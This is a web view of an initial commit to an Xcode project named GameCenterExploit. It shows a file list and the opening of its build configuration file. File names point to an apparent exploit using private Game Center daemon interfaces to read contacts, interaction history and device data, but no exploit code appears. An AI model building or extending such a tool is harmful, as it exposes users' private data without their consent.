Browse Source

Initial code

main
dt 2 months ago
parent
commit
d77545afe8
  1. 600
      GameCenterExploit.xcodeproj/project.pbxproj
  2. 7
      GameCenterExploit.xcodeproj/project.xcworkspace/contents.xcworkspacedata
  3. 8
      GameCenterExploit.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist
  4. 25
      GameCenterExploit.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved
  5. 17
      GameCenterExploit/AppDelegate.swift
  6. 11
      GameCenterExploit/Assets.xcassets/AccentColor.colorset/Contents.json
  7. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/1024.png
  8. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/120-1.png
  9. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/120.png
  10. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/152.png
  11. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/167.png
  12. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/180.png
  13. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/20.png
  14. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/29.png
  15. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/40-1.png
  16. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/40-2.png
  17. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/40.png
  18. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/58-1.png
  19. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/58.png
  20. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/60.png
  21. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/76.png
  22. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/80-1.png
  23. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/80.png
  24. BIN
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/87.png
  25. 116
      GameCenterExploit/Assets.xcassets/AppIcon.appiconset/Contents.json
  26. 6
      GameCenterExploit/Assets.xcassets/Contents.json
  27. 25
      GameCenterExploit/Base.lproj/LaunchScreen.storyboard
  28. 288
      GameCenterExploit/GameCenter.swift
  29. 72
      GameCenterExploit/GameCenterExploit-Bridging-Header.h
  30. 12
      GameCenterExploit/Headers/CKXPCShareDaemon.h
  31. 22
      GameCenterExploit/Headers/GKAccountService.h
  32. 21
      GameCenterExploit/Headers/GKAccountServicePrivate.h
  33. 77
      GameCenterExploit/Headers/GKAchievementInternal.h
  34. 38
      GameCenterExploit/Headers/GKActivity.h
  35. 24
      GameCenterExploit/Headers/GKAnalyticsService.h
  36. 6
      GameCenterExploit/Headers/GKAnalyticsServicePrivate.h
  37. 71
      GameCenterExploit/Headers/GKAuthenticateResponse.h
  38. 4
      GameCenterExploit/Headers/GKBulletinService.h
  39. 14
      GameCenterExploit/Headers/GKBulletinServicePrivate.h
  40. 64
      GameCenterExploit/Headers/GKChallengeInternal.h
  41. 15
      GameCenterExploit/Headers/GKChallengeService.h
  42. 12
      GameCenterExploit/Headers/GKChallengeServicePrivate.h
  43. 6
      GameCenterExploit/Headers/GKClientInterface.h
  44. 43
      GameCenterExploit/Headers/GKClientProtocol.h
  45. 10
      GameCenterExploit/Headers/GKClientProtocolInterface.h
  46. 11
      GameCenterExploit/Headers/GKClientProtocolInterface.m
  47. 25
      GameCenterExploit/Headers/GKConcernInternal.h
  48. 58
      GameCenterExploit/Headers/GKCustomTournamentRequestInternal.h
  49. 6
      GameCenterExploit/Headers/GKDaemonInterface.h
  50. 44
      GameCenterExploit/Headers/GKDaemonProtocol.h
  51. 114
      GameCenterExploit/Headers/GKDaemonProxy.h
  52. 10
      GameCenterExploit/Headers/GKDaemonProxyDataUpdateDelegate.h
  53. 10
      GameCenterExploit/Headers/GKDaemonProxyNetworkActivityIndicatorDelegate.h
  54. 56
      GameCenterExploit/Headers/GKDispatchGroup.h
  55. 21
      GameCenterExploit/Headers/GKFamiliarPlayerInternal.h
  56. 24
      GameCenterExploit/Headers/GKFriendPlayerInternal.h
  57. 23
      GameCenterExploit/Headers/GKFriendRequestInternal.h
  58. 13
      GameCenterExploit/Headers/GKFriendService.h
  59. 21
      GameCenterExploit/Headers/GKFriendServicePrivate.h
  60. 49
      GameCenterExploit/Headers/GKGameDescriptor.h
  61. 113
      GameCenterExploit/Headers/GKGameInternal.h
  62. 4
      GameCenterExploit/Headers/GKGameService.h
  63. 23
      GameCenterExploit/Headers/GKGameServicePrivate.h
  64. 20
      GameCenterExploit/Headers/GKGameSessionService.h
  65. 13
      GameCenterExploit/Headers/GKGameSessionServicePrivate.h
  66. 36
      GameCenterExploit/Headers/GKGameStatService.h
  67. 16
      GameCenterExploit/Headers/GKGameStatServicePrivate.h
  68. 18
      GameCenterExploit/Headers/GKInternalRepresentation.h
  69. 95
      GameCenterExploit/Headers/GKInviteInternal.h
  70. 41
      GameCenterExploit/Headers/GKLeaderboardEntryInternal.h
  71. 103
      GameCenterExploit/Headers/GKLeaderboardInternal.h
  72. 44
      GameCenterExploit/Headers/GKLeaderboardScoreRequest.h
  73. 77
      GameCenterExploit/Headers/GKLeaderboardSummaryInternal.h
  74. 54
      GameCenterExploit/Headers/GKLocalPlayerInternal.h
  75. 78
      GameCenterExploit/Headers/GKMatchRequestInternal.h
  76. 57
      GameCenterExploit/Headers/GKMatchResponse.h
  77. 32
      GameCenterExploit/Headers/GKMultiplayerService.h
  78. 10
      GameCenterExploit/Headers/GKMultiplayerServicePrivate.h
  79. 51
      GameCenterExploit/Headers/GKPlayerCredential.h
  80. 227
      GameCenterExploit/Headers/GKPlayerInternal.h
  81. 10
      GameCenterExploit/Headers/GKProfileService.h
  82. 20
      GameCenterExploit/Headers/GKProfileServicePrivate.h
  83. 21
      GameCenterExploit/Headers/GKRecurrenceRule.h
  84. 60
      GameCenterExploit/Headers/GKScoreInternal.h
  85. 9
      GameCenterExploit/Headers/GKServiceInterface.h
  86. 116
      GameCenterExploit/Headers/GKServiceProxy.h
  87. 58
      GameCenterExploit/Headers/GKStoreItemInternal.h
  88. 31
      GameCenterExploit/Headers/GKThreadsafeDictionary.h
  89. 127
      GameCenterExploit/Headers/GKTournamentDefinitionInternal.h
  90. 114
      GameCenterExploit/Headers/GKTournamentInternal.h
  91. 49
      GameCenterExploit/Headers/GKTournamentParticipantHistoricalDataInternal.h
  92. 37
      GameCenterExploit/Headers/GKTournamentParticipantInternal.h
  93. 25
      GameCenterExploit/Headers/GKTournamentParticipantRequestInternal.h
  94. 33
      GameCenterExploit/Headers/GKTournamentService.h
  95. 12
      GameCenterExploit/Headers/GKTournamentServicePrivate.h
  96. 112
      GameCenterExploit/Headers/GKTurnBasedMatchInternal.h
  97. 26
      GameCenterExploit/Headers/GKTurnBasedService.h
  98. 11
      GameCenterExploit/Headers/GKTurnBasedServicePrivate.h
  99. 12
      GameCenterExploit/Headers/GKUtilityService.h
  100. 22
      GameCenterExploit/Headers/GKUtilityServicePrivate.h

600
GameCenterExploit.xcodeproj/project.pbxproj

@ -0,0 +1,600 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 52;
objects = {
/* Begin PBXBuildFile section */
DF13AA7525F19E0100A7A7B7 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13AA7425F19E0100A7A7B7 /* AppDelegate.swift */; };
DF13AA7725F19E0100A7A7B7 /* SceneDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13AA7625F19E0100A7A7B7 /* SceneDelegate.swift */; };
DF13AA7E25F19E0300A7A7B7 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = DF13AA7D25F19E0300A7A7B7 /* Assets.xcassets */; };
DF13AA8125F19E0300A7A7B7 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = DF13AA7F25F19E0300A7A7B7 /* LaunchScreen.storyboard */; };
DF13AB2B25F5456700A7A7B7 /* GKClientProtocolInterface.m in Sources */ = {isa = PBXBuildFile; fileRef = DF13AB2A25F5456600A7A7B7 /* GKClientProtocolInterface.m */; };
DF13AB2F25F5696F00A7A7B7 /* GameCenter.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13AB2E25F5696F00A7A7B7 /* GameCenter.swift */; };
DF13ABB225F7A5B500A7A7B7 /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABB125F7A5B400A7A7B7 /* ContentView.swift */; };
DF13ABB625F7AC9600A7A7B7 /* MobileGestaltView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABB525F7AC9600A7A7B7 /* MobileGestaltView.swift */; };
DF13ABB925F7ACDF00A7A7B7 /* CoreDuetView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABB825F7ACDF00A7A7B7 /* CoreDuetView.swift */; };
DF13ABBC25F7ACE900A7A7B7 /* SpeedDialView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABBB25F7ACE900A7A7B7 /* SpeedDialView.swift */; };
DF13ABBF25F7ACF200A7A7B7 /* AddressBookView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABBE25F7ACF200A7A7B7 /* AddressBookView.swift */; };
DF13ABC225F7AD0200A7A7B7 /* AddressBookImagesView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABC125F7AD0200A7A7B7 /* AddressBookImagesView.swift */; };
DF13ABC525F7C57100A7A7B7 /* DuetContactsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABC425F7C57100A7A7B7 /* DuetContactsView.swift */; };
DF13ABC825F7C59400A7A7B7 /* DuetInteractionsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABC725F7C59400A7A7B7 /* DuetInteractionsView.swift */; };
DF13ABCB25F7C59E00A7A7B7 /* DuetAttachmentsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABCA25F7C59E00A7A7B7 /* DuetAttachmentsView.swift */; };
DF13ABCE25F7C72400A7A7B7 /* DuetContactView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABCD25F7C72400A7A7B7 /* DuetContactView.swift */; };
DF13ABD125F7E09800A7A7B7 /* DuetInteractionView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABD025F7E09800A7A7B7 /* DuetInteractionView.swift */; };
DF13ABD425F8068700A7A7B7 /* AddressBookContactView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABD325F8068700A7A7B7 /* AddressBookContactView.swift */; };
DFCDD4E725F83768002ED9C2 /* GRDB in Frameworks */ = {isa = PBXBuildFile; productRef = DFCDD4E625F83768002ED9C2 /* GRDB */; };
DFCDD4EB25F83789002ED9C2 /* Dynamic in Frameworks */ = {isa = PBXBuildFile; productRef = DFCDD4EA25F83789002ED9C2 /* Dynamic */; };
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
DF13AA7125F19E0100A7A7B7 /* GameCenterExploit.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = GameCenterExploit.app; sourceTree = BUILT_PRODUCTS_DIR; };
DF13AA7425F19E0100A7A7B7 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
DF13AA7625F19E0100A7A7B7 /* SceneDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SceneDelegate.swift; sourceTree = "<group>"; };
DF13AA7D25F19E0300A7A7B7 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
DF13AA8025F19E0300A7A7B7 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
DF13AA8225F19E0300A7A7B7 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
DF13AAC525F40E3300A7A7B7 /* GKDaemonProtocol.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonProtocol.h; sourceTree = "<group>"; };
DF13AACB25F44C9A00A7A7B7 /* GameCenterExploit-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "GameCenterExploit-Bridging-Header.h"; sourceTree = "<group>"; };
DF13AACC25F44C9B00A7A7B7 /* GKClientProtocol.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKClientProtocol.h; sourceTree = "<group>"; };
DF13AAD225F4FB4900A7A7B7 /* GKAuthenticateResponse.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAuthenticateResponse.h; sourceTree = "<group>"; };
DF13AAD425F4FBE700A7A7B7 /* GKInternalRepresentation.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKInternalRepresentation.h; sourceTree = "<group>"; };
DF13AAD625F4FC2800A7A7B7 /* GKPlayerCredential.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKPlayerCredential.h; sourceTree = "<group>"; };
DF13AAD725F4FC5F00A7A7B7 /* GKPlayerInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKPlayerInternal.h; sourceTree = "<group>"; };
DF13AAD925F4FE4800A7A7B7 /* GKGameInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameInternal.h; sourceTree = "<group>"; };
DF13AADA25F4FEAD00A7A7B7 /* GKGameDescriptor.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameDescriptor.h; sourceTree = "<group>"; };
DF13AADC25F4FF1100A7A7B7 /* GKStoreItemInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKStoreItemInternal.h; sourceTree = "<group>"; };
DF13AADF25F5043D00A7A7B7 /* GKAccountService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAccountService.h; sourceTree = "<group>"; };
DF13AAE025F5048100A7A7B7 /* GKAccountServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAccountServicePrivate.h; sourceTree = "<group>"; };
DF13AAE125F504F300A7A7B7 /* GKAnalyticsService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAnalyticsService.h; sourceTree = "<group>"; };
DF13AAE225F504F800A7A7B7 /* GKAnalyticsServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAnalyticsServicePrivate.h; sourceTree = "<group>"; };
DF13AAE325F5052600A7A7B7 /* GKBulletinService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKBulletinService.h; sourceTree = "<group>"; };
DF13AAE425F5052D00A7A7B7 /* GKBulletinServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKBulletinServicePrivate.h; sourceTree = "<group>"; };
DF13AAE525F5056300A7A7B7 /* GKChallengeService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKChallengeService.h; sourceTree = "<group>"; };
DF13AAE625F5056A00A7A7B7 /* GKChallengeServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKChallengeServicePrivate.h; sourceTree = "<group>"; };
DF13AAE925F506BC00A7A7B7 /* GKTournamentServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentServicePrivate.h; sourceTree = "<group>"; };
DF13AAEA25F506BC00A7A7B7 /* GKMultiplayerServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKMultiplayerServicePrivate.h; sourceTree = "<group>"; };
DF13AAEB25F506BC00A7A7B7 /* GKTurnBasedService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTurnBasedService.h; sourceTree = "<group>"; };
DF13AAEC25F506BC00A7A7B7 /* GKGameSessionServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameSessionServicePrivate.h; sourceTree = "<group>"; };
DF13AAED25F506BC00A7A7B7 /* GKProfileService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKProfileService.h; sourceTree = "<group>"; };
DF13AAEE25F506BC00A7A7B7 /* GKGameStatService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameStatService.h; sourceTree = "<group>"; };
DF13AAEF25F506BC00A7A7B7 /* GKFriendService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFriendService.h; sourceTree = "<group>"; };
DF13AAF025F506BC00A7A7B7 /* GKGameServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameServicePrivate.h; sourceTree = "<group>"; };
DF13AAF125F506BC00A7A7B7 /* GKTurnBasedServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTurnBasedServicePrivate.h; sourceTree = "<group>"; };
DF13AAF225F506BC00A7A7B7 /* GKFriendServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFriendServicePrivate.h; sourceTree = "<group>"; };
DF13AAF325F506BC00A7A7B7 /* GKGameStatServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameStatServicePrivate.h; sourceTree = "<group>"; };
DF13AAF425F506BC00A7A7B7 /* GKMultiplayerService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKMultiplayerService.h; sourceTree = "<group>"; };
DF13AAF525F506BD00A7A7B7 /* GKProfileServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKProfileServicePrivate.h; sourceTree = "<group>"; };
DF13AAF625F506BD00A7A7B7 /* CKXPCShareDaemon.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CKXPCShareDaemon.h; sourceTree = "<group>"; };
DF13AAF725F506BD00A7A7B7 /* GKGameSessionService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameSessionService.h; sourceTree = "<group>"; };
DF13AAF825F506BD00A7A7B7 /* GKGameService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameService.h; sourceTree = "<group>"; };
DF13AAF925F506BD00A7A7B7 /* GKTournamentService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentService.h; sourceTree = "<group>"; };
DF13AAFA25F506BD00A7A7B7 /* GKUtilityServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKUtilityServicePrivate.h; sourceTree = "<group>"; };
DF13AAFB25F506BD00A7A7B7 /* GKUtilityService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKUtilityService.h; sourceTree = "<group>"; };
DF13AAFD25F509D200A7A7B7 /* GKTournamentParticipantRequestInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentParticipantRequestInternal.h; sourceTree = "<group>"; };
DF13AAFE25F509D200A7A7B7 /* GKLeaderboardSummaryInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLeaderboardSummaryInternal.h; sourceTree = "<group>"; };
DF13AAFF25F509D200A7A7B7 /* GKCustomTournamentRequestInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKCustomTournamentRequestInternal.h; sourceTree = "<group>"; };
DF13AB0025F509D200A7A7B7 /* GKTournamentInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentInternal.h; sourceTree = "<group>"; };
DF13AB0125F509D200A7A7B7 /* GKInviteInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKInviteInternal.h; sourceTree = "<group>"; };
DF13AB0225F509D200A7A7B7 /* GKScoreInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKScoreInternal.h; sourceTree = "<group>"; };
DF13AB0325F509D200A7A7B7 /* GKLeaderboardEntryInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLeaderboardEntryInternal.h; sourceTree = "<group>"; };
DF13AB0425F509D200A7A7B7 /* GKMatchResponse.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKMatchResponse.h; sourceTree = "<group>"; };
DF13AB0525F509D200A7A7B7 /* GKMatchRequestInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKMatchRequestInternal.h; sourceTree = "<group>"; };
DF13AB0625F509D300A7A7B7 /* GKChallengeInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKChallengeInternal.h; sourceTree = "<group>"; };
DF13AB0725F509D300A7A7B7 /* GKConcernInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKConcernInternal.h; sourceTree = "<group>"; };
DF13AB0825F509D300A7A7B7 /* GKTournamentDefinitionInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentDefinitionInternal.h; sourceTree = "<group>"; };
DF13AB0925F509D300A7A7B7 /* GKTurnBasedMatchInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTurnBasedMatchInternal.h; sourceTree = "<group>"; };
DF13AB0A25F509D300A7A7B7 /* GKAchievementInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAchievementInternal.h; sourceTree = "<group>"; };
DF13AB0B25F509D400A7A7B7 /* GKLeaderboardInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLeaderboardInternal.h; sourceTree = "<group>"; };
DF13AB0C25F509D400A7A7B7 /* GKLeaderboardScoreRequest.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLeaderboardScoreRequest.h; sourceTree = "<group>"; };
DF13AB0D25F509D400A7A7B7 /* GKTournamentParticipantHistoricalDataInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentParticipantHistoricalDataInternal.h; sourceTree = "<group>"; };
DF13AB0E25F509D400A7A7B7 /* GKTournamentParticipantInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentParticipantInternal.h; sourceTree = "<group>"; };
DF13AB1025F50BCF00A7A7B7 /* GKRecurrenceRule.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKRecurrenceRule.h; sourceTree = "<group>"; };
DF13AB1125F50BCF00A7A7B7 /* GKDispatchGroup.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDispatchGroup.h; sourceTree = "<group>"; };
DF13AB1225F50C1800A7A7B7 /* GKThreadsafeDictionary.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKThreadsafeDictionary.h; sourceTree = "<group>"; };
DF13AB1325F50C1800A7A7B7 /* GKActivity.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKActivity.h; sourceTree = "<group>"; };
DF13AB1525F5113A00A7A7B7 /* GKFriendRequestInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFriendRequestInternal.h; sourceTree = "<group>"; };
DF13AB1625F5116100A7A7B7 /* GKFamiliarPlayerInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFamiliarPlayerInternal.h; sourceTree = "<group>"; };
DF13AB1825F514DA00A7A7B7 /* GKDaemonInterface.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonInterface.h; sourceTree = "<group>"; };
DF13AB1925F514DA00A7A7B7 /* GKDaemonProxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonProxy.h; sourceTree = "<group>"; };
DF13AB1A25F514DA00A7A7B7 /* GKServiceProxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKServiceProxy.h; sourceTree = "<group>"; };
DF13AB1B25F514DA00A7A7B7 /* GKServiceInterface.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKServiceInterface.h; sourceTree = "<group>"; };
DF13AB1D25F5185300A7A7B7 /* NSXPCConnectionDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSXPCConnectionDelegate.h; sourceTree = "<group>"; };
DF13AB1F25F5188500A7A7B7 /* GKDaemonProxyDataUpdateDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonProxyDataUpdateDelegate.h; sourceTree = "<group>"; };
DF13AB2025F5188500A7A7B7 /* GKDaemonProxyNetworkActivityIndicatorDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonProxyNetworkActivityIndicatorDelegate.h; sourceTree = "<group>"; };
DF13AB2225F53A3F00A7A7B7 /* NSXPCConnection.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSXPCConnection.h; sourceTree = "<group>"; };
DF13AB2425F53F9200A7A7B7 /* GKClientInterface.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKClientInterface.h; sourceTree = "<group>"; };
DF13AB2625F5436A00A7A7B7 /* GKLocalPlayerInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLocalPlayerInternal.h; sourceTree = "<group>"; };
DF13AB2725F5438300A7A7B7 /* GKFriendPlayerInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFriendPlayerInternal.h; sourceTree = "<group>"; };
DF13AB2925F5456600A7A7B7 /* GKClientProtocolInterface.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKClientProtocolInterface.h; sourceTree = "<group>"; };
DF13AB2A25F5456600A7A7B7 /* GKClientProtocolInterface.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = GKClientProtocolInterface.m; sourceTree = "<group>"; };
DF13AB2E25F5696F00A7A7B7 /* GameCenter.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GameCenter.swift; sourceTree = "<group>"; };
DF13ABB125F7A5B400A7A7B7 /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = "<group>"; };
DF13ABB525F7AC9600A7A7B7 /* MobileGestaltView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MobileGestaltView.swift; sourceTree = "<group>"; };
DF13ABB825F7ACDF00A7A7B7 /* CoreDuetView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CoreDuetView.swift; sourceTree = "<group>"; };
DF13ABBB25F7ACE900A7A7B7 /* SpeedDialView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SpeedDialView.swift; sourceTree = "<group>"; };
DF13ABBE25F7ACF200A7A7B7 /* AddressBookView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AddressBookView.swift; sourceTree = "<group>"; };
DF13ABC125F7AD0200A7A7B7 /* AddressBookImagesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AddressBookImagesView.swift; sourceTree = "<group>"; };
DF13ABC425F7C57100A7A7B7 /* DuetContactsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetContactsView.swift; sourceTree = "<group>"; };
DF13ABC725F7C59400A7A7B7 /* DuetInteractionsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetInteractionsView.swift; sourceTree = "<group>"; };
DF13ABCA25F7C59E00A7A7B7 /* DuetAttachmentsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetAttachmentsView.swift; sourceTree = "<group>"; };
DF13ABCD25F7C72400A7A7B7 /* DuetContactView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetContactView.swift; sourceTree = "<group>"; };
DF13ABD025F7E09800A7A7B7 /* DuetInteractionView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetInteractionView.swift; sourceTree = "<group>"; };
DF13ABD325F8068700A7A7B7 /* AddressBookContactView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AddressBookContactView.swift; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
DF13AA6E25F19E0100A7A7B7 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
DFCDD4EB25F83789002ED9C2 /* Dynamic in Frameworks */,
DFCDD4E725F83768002ED9C2 /* GRDB in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
DF13AA6825F19E0000A7A7B7 = {
isa = PBXGroup;
children = (
DF13AA7325F19E0100A7A7B7 /* GameCenterExploit */,
DF13AA7225F19E0100A7A7B7 /* Products */,
);
sourceTree = "<group>";
};
DF13AA7225F19E0100A7A7B7 /* Products */ = {
isa = PBXGroup;
children = (
DF13AA7125F19E0100A7A7B7 /* GameCenterExploit.app */,
);
name = Products;
sourceTree = "<group>";
};
DF13AA7325F19E0100A7A7B7 /* GameCenterExploit */ = {
